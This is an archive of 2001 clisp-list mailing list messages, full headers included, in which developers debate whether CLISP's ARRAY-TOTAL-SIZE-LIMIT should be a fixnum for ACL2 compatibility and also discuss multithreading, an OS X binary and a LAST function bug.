edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id LAA14035; Fri, 31 Aug 2001 11:11:03 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> From: Raymond Toy Date: 31 Aug 2001 11:11:03 -0400 In-Reply-To: Message-ID: <4nk7zk8dtk.fsf@rtp.ericsson.se> Lines: 32 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF writes: Wolfhard> Sam Steingold writes: >> ARRAY-TOTAL-SIZE-LIMIT is >> "The upper exclusive bound on the array total size of an array." >> thus if ARRAY-TOTAL-SIZE-LIMIT =3D=3D MOST-POSITIVE-FIXNUM, we canno= t do >> (make-array most-positive-fixnum) >>=20 >> thus the choice is >> (1) disable (make-array most-positive-fixnum) >> (2) break the standard by either >> - ARRAY-TOTAL-SIZE-LIMIT is not fixnum >> - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound. >>=20 >> I don't like any of the solutions. >> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to >> allow efficient arithmetics on array indexes and CLISP ignores type >> declarations anyway, the current non-compliance should not matter. =20 Wolfhard> There is at least one piece of software, i.e. ACL2, that depe= nds on Wolfhard> (typep array-total-size-limit 'fixnum) Wolfhard> =3D> T Why does it care and what is ACL2? I have to say I don't understand why any piece of code (other than the lisp internals) would really care that array-total-size-limit is or is not a fixnum. Ray From sds@gnu.org Fri Aug 31 12:00:46 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ctX4-0007pP-00 for ; Fri, 31 Aug 2001 12:00:46 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA02254; Fri, 31 Aug 2001 15:00:19 -0400 (EDT) X-Envelope-To: To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Multithreading in CLISP References: <20010823091621.A695@silcon.com> <15247.53634.323148.252924@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15247.53634.323148.252924@isis.cs3-inc.com> Date: 31 Aug 2001 14:59:33 -0400 Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15247.53634.323148.252924@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] Re: Multithreading in CLISP" > * Sent on Fri, 31 Aug 2001 11:03:46 -0700 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > Sam Steingold writes: > > > > try building CLISP with -DMULTITHREAD and make it work on your platform. > > There are a number of topics, such as special binding and garbage > collection. What I thought (and still think) is the major problem is > finding operations that should be regarded as atomic in lisp but > require multiple heap accesses, and arranging somehow to protect > these. while, obviously, important, these issues are "step 1". "step 0" is getting CLISP STACK and GC work with MT. this is what I meant - just getting CLISP compile with -DMULTITHREAD is a challenge (lisp.run compiles on Solaris and NT but crashes on startup). after getting this, we can work on the rest. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Never let your schooling interfere with your education. From jflowers@codefab.com Fri Aug 31 12:08:05 2001 Received: from pi.codefab.com ([12.38.161.140]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cte8-00056B-00 for ; Fri, 31 Aug 2001 12:08:04 -0700 Received: from bjork.codefab.com (root@bjork.codefab.com [12.38.161.11]) by pi.codefab.com (8.11.5/8.11.5) with ESMTP id f7VJ82T07789 for ; Fri, 31 Aug 2001 15:08:02 -0400 (EDT) Received: from tanya (tanya.codefab.com [12.38.161.19]) by bjork.codefab.com (8.11.5/8.11.5) with ESMTP id f7VJ82o10837 for ; Fri, 31 Aug 2001 15:08:02 -0400 (EDT) Message-Id: <200108311908.f7VJ82o10837@bjork.codefab.com> Date: Fri, 31 Aug 2001 15:06:03 -0400 Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) From: Josh Flowers To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.388) Content-Transfer-Encoding: 7bit Subject: [clisp-list] OS X Binary Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I just created an OS X binary distribution - where do I post it for other, more fortunate, OS X clisp users? Thanks, josh From sds@gnu.org Fri Aug 31 12:22:22 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ctry-0004qb-00 for ; Fri, 31 Aug 2001 12:22:22 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA08382; Fri, 31 Aug 2001 15:22:03 -0400 (EDT) X-Envelope-To: To: Josh Flowers Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OS X Binary References: <200108311908.f7VJ82o10837@bjork.codefab.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200108311908.f7VJ82o10837@bjork.codefab.com> Date: 31 Aug 2001 15:20:54 -0400 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200108311908.f7VJ82o10837@bjork.codefab.com> > * On the subject of "[clisp-list] OS X Binary" > * Sent on Fri, 31 Aug 2001 15:06:03 -0400 > * Honorable Josh Flowers writes: > > I just created an OS X binary distribution - where do I post it for > other, more fortunate, OS X clisp users? what CLISP version? can you put the distribution in a place I could d/l it from? thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Illiterate? Write today, for free help! From sds@gnu.org Fri Aug 31 13:20:20 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cum4-0007mr-00 for ; Fri, 31 Aug 2001 13:20:20 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA22818; Fri, 31 Aug 2001 16:20:09 -0400 (EDT) X-Envelope-To: To: Josh Flowers Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OS X Binary References: <200108311908.f7VJ82o10837@bjork.codefab.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200108311908.f7VJ82o10837@bjork.codefab.com> Date: 31 Aug 2001 16:19:17 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200108311908.f7VJ82o10837@bjork.codefab.com> > * On the subject of "[clisp-list] OS X Binary" > * Sent on Fri, 31 Aug 2001 15:06:03 -0400 > * Honorable Josh Flowers writes: > > I just created an OS X binary distribution - where do I post it for > other, more fortunate, OS X clisp users? thanks - this binary is now available from ftp://clisp.sourceforge.net/pub/clisp/latest/ -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If a train station is a place where a train stops, what's a workstation? From wbuss@gmx.net Fri Aug 31 10:40:20 2001 Received: from mail.gmx.net ([213.165.64.20]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15csHD-0005a0-00 for ; Fri, 31 Aug 2001 10:40:20 -0700 Received: (qmail 29053 invoked by uid 0); 31 Aug 2001 17:40:11 -0000 Received: from p3ee24df5.dip.t-dialin.net (HELO minka.katzen.ol) (62.226.77.245) by mail.gmx.net (mp003-rz3) with SMTP; 31 Aug 2001 17:40:11 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id D23EF1AB0AE; Fri, 31 Aug 2001 19:40:14 +0200 (MEST) To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Date: 31 Aug 2001 19:40:14 +0200 In-Reply-To: Raymond Toy's message of "31 Aug 2001 11:11:03 -0400" Message-ID: Lines: 41 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Raymond Toy writes: > Wolfhard> There is at least one piece of software, i.e. ACL2, > Wolfhard> that depends on > > Wolfhard> (typep array-total-size-limit 'fixnum) > Wolfhard> => T > > Why does it care and what is ACL2? > > I have to say I don't understand why any piece of code (other than the > lisp internals) would really care that array-total-size-limit is or is > not a fixnum. ACL2: 'A Computational Logic for Applicative Common Lisp' [1] is 'An Industrial Strength Theorem Prover for a Logic Based on Common Lisp' [2], a small applicative subset of CLtL2. ACL2 is an automated reasoning system used to verify Hardware and Software systems. bignums are not a data type in ACL and because of the close connection between ACL and the underlying Common Lisp there is no place for arrays with possibly bignum elements. No place in a formal language which is the base of a logic. The implementation depends on the fixnum array-total-size-limit. It's probably conceptually impossible to change this. Fixing clisp's ansi mode is the way to go. You may look at the sources yourself. Regards, Wolfhard Footnotes: [1] http://www.cs.utexas.edu/users/moore/acl2/ [2] http://www.cs.utexas.edu/users/moore/publications/ From don-sourceforge@isis.cs3-inc.com Fri Aug 31 11:04:57 2001 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15csf3-0008Nk-00 for ; Fri, 31 Aug 2001 11:04:57 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f7VI3kI17047; Fri, 31 Aug 2001 11:03:46 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15247.53634.323148.252924@isis.cs3-inc.com> Date: Fri, 31 Aug 2001 11:03:46 -0700 To: sds@gnu.org Cc: Daniel Lakeland , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Multithreading in CLISP In-Reply-To: References: <20010823091621.A695@silcon.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > What will it take to do, and how easy would it be to contribute to > > adding multi-threading? > > try building CLISP with -DMULTITHREAD and make it work on your platform. This seems an appropriate place to reopen the discussion last seen on this list (I believe) on July 22 about why MT is not so trivial. After that message I reopened a corresponding discussion (from 1996!) with Franz and got back some stuff that's worth sharing. There are a number of topics, such as special binding and garbage collection. What I thought (and still think) is the major problem is finding operations that should be regarded as atomic in lisp but require multiple heap accesses, and arranging somehow to protect these. Here's a good example: Robert F. Rorschach writes: (I hope he doesn't mind me quoting him) (aref some-adjustable-array index) should either get an error for the index being out of range or return an element of the array.... it shouldn't be possible for the array to change size after the internal range test on index but before the element is fetched, causing a fetch from outside the actual array. I assume it's not difficult to insert code to protect such an operation (on a case by case basis), but I have no idea how to go about identifying all of them. And this is what would be needed in order to make a reliable multithreaded Clisp. Anyone out there have any ideas about this? Even some idea of how many such operations there are? From toy@rtp.ericsson.se Fri Aug 31 11:25:40 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15csz2-0008La-00 for ; Fri, 31 Aug 2001 11:25:36 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f7VIPT525591 for ; Fri, 31 Aug 2001 13:25:29 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f7VIPTi27526 for ; Fri, 31 Aug 2001 13:25:29 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Fri Aug 31 13:25:28 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA13308; Fri, 31 Aug 2001 14:26:28 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id OAA14278; Fri, 31 Aug 2001 14:25:27 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> From: Raymond Toy Date: 31 Aug 2001 14:25:27 -0400 In-Reply-To: Message-ID: <4nu1yo6q94.fsf@rtp.ericsson.se> Lines: 37 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF writes: Wolfhard> Raymond Toy writes: Wolfhard> There is at least one piece of software, i.e. ACL2, Wolfhard> that depends on >>=20 Wolfhard> (typep array-total-size-limit 'fixnum) Wolfhard> =3D> T >>=20 >> Why does it care and what is ACL2? >>=20 >> I have to say I don't understand why any piece of code (other than t= he >> lisp internals) would really care that array-total-size-limit is or = is >> not a fixnum. Wolfhard> bignums are not a data type in ACL and because of the close c= onnection Wolfhard> between ACL and the underlying Common Lisp there is no place = for arrays=20 Wolfhard> with possibly bignum elements. No place in a formal language= which is Wolfhard> the base of a logic. I don't understand how arrays with bignum elements is related to array-total-size-limit not being a fixnum. Do you mean arrays with a bignum number of elements? Wolfhard> The implementation depends on the fixnum array-total-size-lim= it. It's Wolfhard> probably conceptually impossible to change this.=20 But why? Why not just delete the offending code in ACL2 that figures out that array-total-size-limit is not a fixnum? Wolfhard> Fixing clisp's ansi mode is the way to go. Wolfhard> You may look at the sources yourself. Thanks for the reference, but it's very unlikely that I will. Ray From don-sourceforge@isis.cs3-inc.com Fri Aug 31 15:16:20 2001 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cwaJ-00087b-00 for ; Fri, 31 Aug 2001 15:16:20 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f7VMF7v17565; Fri, 31 Aug 2001 15:15:07 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15248.3179.297386.439988@isis.cs3-inc.com> Date: Fri, 31 Aug 2001 15:15:07 -0700 To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit In-Reply-To: References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > > Wolfhard> There is at least one piece of software, i.e. ACL2, > > Wolfhard> that depends on > > > > Wolfhard> (typep array-total-size-limit 'fixnum) > > Wolfhard> => T > ACL2: 'A Computational Logic for Applicative Common Lisp' [1] is 'An > Industrial Strength Theorem Prover for a Logic Based on Common Lisp' [2], > a small applicative subset of CLtL2. > ACL2 is an automated reasoning system used to verify Hardware and Software > systems. > bignums are not a data type in ACL and because of the close connection > between ACL and the underlying Common Lisp there is no place for arrays > with possibly bignum elements. No place in a formal language which is > the base of a logic. > > The implementation depends on the fixnum array-total-size-limit. It's > probably conceptually impossible to change this. > > Fixing clisp's ansi mode is the way to go. > > You may look at the sources yourself. ... > Footnotes: > [1] http://www.cs.utexas.edu/users/moore/acl2/ > > [2] http://www.cs.utexas.edu/users/moore/publications/ Obviously I have not read the sources since you posted this. I have enjoyed reading the tutorials and some other doc, though. I don't see anything about fixnums at all in the doc. In fact "numbers" are described as rationals or complex rationals. Of course, the doc also lists a number of common lisp implementations in which acl2 runs and the list does not include clisp! So I guess you must be trying to extend that list. In which case it's not all that surprising that some code might have be to changed. I bet if you ask the authors of acl2 they can tell you what's the best thing to change. I can believe that they won't want to change acl2 in order to comply with the failure of a lisp implementation to conform to ansi, but I'd be surprised if they haven't had to do this already for most of the other implementations on the list. From wbuss@gmx.net Sat Sep 01 04:16:44 2001 Received: from mail.gmx.net ([213.165.64.20]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15d8lW-0007mQ-00 for ; Sat, 01 Sep 2001 04:16:43 -0700 Received: (qmail 22980 invoked by uid 0); 1 Sep 2001 11:16:34 -0000 Received: from p3ee24c9e.dip.t-dialin.net (HELO minka.katzen.ol) (62.226.76.158) by mail.gmx.net (mp001-rz3) with SMTP; 1 Sep 2001 11:16:34 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id C28701AB0AE; Sat, 1 Sep 2001 13:01:11 +0200 (MEST) To: Raymond Toy Cc: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=), clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> <4nu1yo6q94.fsf@rtp.ericsson.se> From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) In-Reply-To: Raymond Toy's message of "31 Aug 2001 14:25:27 -0400" Message-ID: Lines: 28 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 1 04:17:05 2001 X-Original-Date: 01 Sep 2001 13:01:11 +0200 Raymond Toy writes: > >>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF writes: >=20 > Wolfhard> bignums are not a data type in ACL and because of the close= connection > Wolfhard> between ACL and the underlying Common Lisp there is no plac= e for arrays=20 > Wolfhard> with possibly bignum elements. No place in a formal langua= ge which is > Wolfhard> the base of a logic. >=20 > I don't understand how arrays with bignum elements is related to > array-total-size-limit not being a fixnum. Do you mean arrays with a > bignum number of elements? =20 You're right, (=3D array-total-size-limit (1+ most-positive-fixnum)) implie= s that indices are fixnum, and that shouldn't be an issue in a system for reasonin= g=20 about ACL expressions without bignums.=20 > Wolfhard> The implementation depends on the fixnum array-total-size-l= imit. It's > Wolfhard> probably conceptually impossible to change this.=20 >=20 > But why? Why not just delete the offending code in ACL2 that figures > out that array-total-size-limit is not a fixnum? Why not fixing clisp's ansi mode? :) Wolfhard From wbuss@gmx.net Sat Sep 01 04:16:44 2001 Received: from mail.gmx.net ([213.165.64.20]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15d8lW-0007mP-00 for ; Sat, 01 Sep 2001 04:16:43 -0700 Received: (qmail 17705 invoked by uid 0); 1 Sep 2001 11:16:34 -0000 Received: from p3ee24c9e.dip.t-dialin.net (HELO minka.katzen.ol) (62.226.76.158) by mail.gmx.net (mp004-rz3) with SMTP; 1 Sep 2001 11:16:34 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id EF9661AB0AF; Sat, 1 Sep 2001 13:16:25 +0200 (MEST) To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> <15248.3179.297386.439988@isis.cs3-inc.com> From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) In-Reply-To: don-sourceforge@isis.cs3-inc.com's message of "Fri, 31 Aug 2001 15:15:07 -0700" Message-ID: Lines: 12 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 1 04:17:06 2001 X-Original-Date: 01 Sep 2001 13:16:25 +0200 don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > I don't see anything about fixnums at all in the doc. > In fact "numbers" are described as rationals or complex rationals. Right. Rationals are described with integers. Integers are currently implemented as a subset of the fixnums of the underlying Common Lisp. BTW, acl2r implements reals as nonstandard-reals. Wolfhard From don-sourceforge@isis.cs3-inc.com Sat Sep 01 09:11:52 2001 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15dDNA-00045I-00 for ; Sat, 01 Sep 2001 09:11:52 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f81GAUP18390; Sat, 1 Sep 2001 09:10:30 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <15249.2166.136976.231618@isis.cs3-inc.com> To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit In-Reply-To: References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> <4nu1yo6q94.fsf@rtp.ericsson.se> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 1 09:12:06 2001 X-Original-Date: Sat, 1 Sep 2001 09:10:30 -0700 Wolfhard =3D?iso-8859-1?q?Bu=3DDF?=3D writes: > > I don't see anything about fixnums at all in the doc. > > In fact "numbers" are described as rationals or complex rationals.= > Right. Rationals are described with integers. Integers are currently= > implemented as a subset of the fixnums of the underlying Common Lisp= . I don't understand where fixnums enter the picture at all. I'd expect that acl would use the type integer, not fixnum. This is better for most purposes related to logic, since you prefer to reason about integers rather than fixnums. I'd find it hard to believe, for instance, that arrays are not allowed to hold arbitrary integers. > Raymond Toy writes: > > >>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF writes: > > Wolfhard> bignums are not a data type in ACL and because of the close connection=20 I agree that bignums should not be a data type in ACL, but for the same reason, neither should fixnums. Integers should be the type used in either case. (For instance, integers are closed under addition,=20 while bignums and fixnums are not.) Of course, having not read or written the code, I don't know for sure what is implemented. =20 I'm only arguing about what makes sense. =20 (But I'm also willing to bet that this is what is implemented.) > > Wolfhard> The implementation depends on the fixnum array-total-size-limit. It's=20 > > Wolfhard> probably conceptually impossible to change this.=20 Do you have any evidence of that? Perhaps you're just getting an error from clisp because something is checking the type of an array size. Perhaps just changing the type from fixnum to integer would solve the problem. > > But why? Why not just delete the offending code in ACL2 that figu= res > > out that array-total-size-limit is not a fixnum? > Why not fixing clisp's ansi mode? :) Clearly this problem can be fixed in different places. If you can find some compelling arguments for NOT changing the application (ACL) then I'd like to hear them. I've not heard any so far. The main argument for changing the application in this case is that it would extend the range of the application (which would then be able to deal with new cases, while still dealing with all of the old ones), whereas changing the lisp implementation (at least in the easy way of simply decreasing the array index limit) would have the reverse effect of making the lisp implementation no longer handle cases that it could before, without enabling it to deal with any new cases. From andrew@thesoftwaresmith.com.au Sun Sep 02 19:31:06 2001 Received: from thesof1.lnk.telstra.net ([139.130.119.126] helo=grover) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15djVx-00024G-00 for ; Sun, 02 Sep 2001 19:31:06 -0700 Received: from andrew by grover with local (Exim 3.12 #1 (Debian)) id 15djVe-0000W2-00; Mon, 03 Sep 2001 12:30:46 +1000 To: clisp-list@lists.sourceforge.net Message-ID: <20010903123046.A1979@grover> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i From: andrew@thesoftwaresmith.com.au Subject: [clisp-list] last built-in function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 2 19:32:01 2001 X-Original-Date: Mon, 3 Sep 2001 12:30:46 +1000 According to the common lisp hyperspec (last '(a.b) 0) => b but clisp 2.27 on debian "potato" linux returns nil. 